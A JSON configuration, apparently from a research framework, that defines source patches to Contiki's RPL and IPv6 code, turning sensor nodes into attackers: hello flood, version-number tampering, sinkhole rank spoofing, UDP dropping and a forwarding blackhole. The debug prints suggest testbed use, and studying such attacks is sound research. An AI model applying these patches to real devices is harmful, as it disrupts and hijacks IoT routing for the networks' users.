building_block

{
  "hello-flood": {
    "RPL_CONF_DIS_INTERVAL": 0,
    "RPL_CONF_DIS_START_DELAY": 0,
    "rpl/rpl-timers.c": ["next_dis++;", "next_dis++; int i=0; while (i<20) {i++; dis_output(NULL);} PRINTF(\"HELLO FLOOD CODE CALLED\");"]
  },
  "version-number": {
    "rpl/rpl-icmp6.c": ["dag->version;", "dag->version++; PRINTF(\"VERSION NUMBER CODE CALLED\");"]
  },
  "sinkhole": {
    "RPL_CONF_MIN_HOPRANKINC": 0,
    "rpl/rpl-private.h": [
      ["#define RPL_MAX_RANKINC             (7 * RPL_MIN_HOPRANKINC)", "#define RPL_MAX_RANKINC 0"],
      ["#define INFINITE_RANK                   0xffff", "#define INFINITE_RANK 256"]
    ],
    "rpl/rpl-timers.c": [
      ["rpl_recalculate_ranks();", null]
    ],
    "rpl/rpl-icmp6.c" : [
      ["set16(buffer, pos, dag->rank);", "set16(buffer, pos, 128); PRINTF(\"BLACKHOLE CODE CALLED\");"] /* RootRank = 128, MinHopRank = 256 */
    ]
  },
  "drop-udp": {
    "ip/uip-udp-packet.c" : ["if(toaddr != NULL) {", "if(0) {"]
  },
  "dont-forward-uip6" : {
    "ipv6/uip6.c" : [
      ["      goto send;  // send packet to next node",
      "printf(\"dont forward uip6: not forwarding packet from \"); uip_debug_ipaddr_print(&UIP_IP_BUF->srcipaddr); printf(\" to \"); uip_debug_ipaddr_print(&UIP_IP_BUF->destipaddr); printf(\"\\n\"); goto drop;"]
    /* problem is, there are several goto send; statements. Thats why we add the comment at the end! */,
      ["UIP_STAT(++uip_stat.ip.forwarded);  // send packet to next node", "UIP_STAT(++uip_stat.ip.drop);  // send packet to next node"]
    ]
  }
}